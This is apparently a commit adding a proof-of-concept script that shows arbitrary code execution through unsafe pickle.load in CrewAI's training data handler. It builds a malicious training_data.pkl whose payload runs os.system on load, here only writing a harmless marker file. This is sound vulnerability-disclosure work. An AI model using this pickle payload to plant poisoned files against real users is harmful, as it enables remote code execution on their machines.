Add PoC exploit script
Browse files- poc_pickle.py +62 -0
poc_pickle.py
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Arbitrary Code Execution via pickle.load in CrewAI Training Data Handler
|
| 3 |
+
|
| 4 |
+
CrewAI's PickleHandler.load() calls pickle.load() on training data files
|
| 5 |
+
(training_data.pkl, trained_agents_data.pkl) without any safety checks.
|
| 6 |
+
|
| 7 |
+
Usage:
|
| 8 |
+
python poc_pickle.py
|
| 9 |
+
|
| 10 |
+
This creates a malicious training_data.pkl and demonstrates code execution
|
| 11 |
+
when CrewAI loads it during agent training.
|
| 12 |
+
"""
|
| 13 |
+
|
| 14 |
+
import pickle
|
| 15 |
+
import os
|
| 16 |
+
import sys
|
| 17 |
+
import tempfile
|
| 18 |
+
|
| 19 |
+
class MaliciousPayload:
|
| 20 |
+
"""Pickle payload that executes arbitrary code on deserialization."""
|
| 21 |
+
def __reduce__(self):
|
| 22 |
+
return (os.system, ("echo CREWAI_PICKLE_RCE_POC_EXECUTED > /tmp/crewai_pwned.txt",))
|
| 23 |
+
|
| 24 |
+
def create_malicious_training_data(output_path):
|
| 25 |
+
"""Create a malicious training_data.pkl file."""
|
| 26 |
+
# Structure mimics real CrewAI training data format
|
| 27 |
+
malicious_data = {
|
| 28 |
+
"1": {
|
| 29 |
+
"agent": "researcher",
|
| 30 |
+
"task": MaliciousPayload(), # Payload embedded in task data
|
| 31 |
+
"human_feedback": "good",
|
| 32 |
+
}
|
| 33 |
+
}
|
| 34 |
+
with open(output_path, "wb") as f:
|
| 35 |
+
pickle.dump(malicious_data, f)
|
| 36 |
+
print(f"[+] Malicious training_data.pkl created: {output_path}")
|
| 37 |
+
print(f" Size: {os.path.getsize(output_path)} bytes")
|
| 38 |
+
|
| 39 |
+
def demonstrate_rce(pkl_path):
|
| 40 |
+
"""Load the malicious pickle file as CrewAI would."""
|
| 41 |
+
print(f"[*] Loading malicious pickle via pickle.load()...")
|
| 42 |
+
print(f"[*] This replicates crewai/utilities/file_handler.py PickleHandler.load()")
|
| 43 |
+
try:
|
| 44 |
+
with open(pkl_path, "rb") as f:
|
| 45 |
+
data = pickle.load(f)
|
| 46 |
+
print(f"[!] Code execution triggered during pickle.load()")
|
| 47 |
+
except Exception as e:
|
| 48 |
+
print(f"[*] Exception: {e}")
|
| 49 |
+
|
| 50 |
+
marker = "/tmp/crewai_pwned.txt"
|
| 51 |
+
if os.path.exists(marker):
|
| 52 |
+
with open(marker) as f:
|
| 53 |
+
print(f"[+] RCE CONFIRMED: {f.read().strip()}")
|
| 54 |
+
os.remove(marker)
|
| 55 |
+
else:
|
| 56 |
+
print("[*] Check for marker file to confirm execution")
|
| 57 |
+
|
| 58 |
+
if __name__ == "__main__":
|
| 59 |
+
with tempfile.TemporaryDirectory() as tmpdir:
|
| 60 |
+
pkl_path = os.path.join(tmpdir, "training_data.pkl")
|
| 61 |
+
create_malicious_training_data(pkl_path)
|
| 62 |
+
demonstrate_rce(pkl_path)
|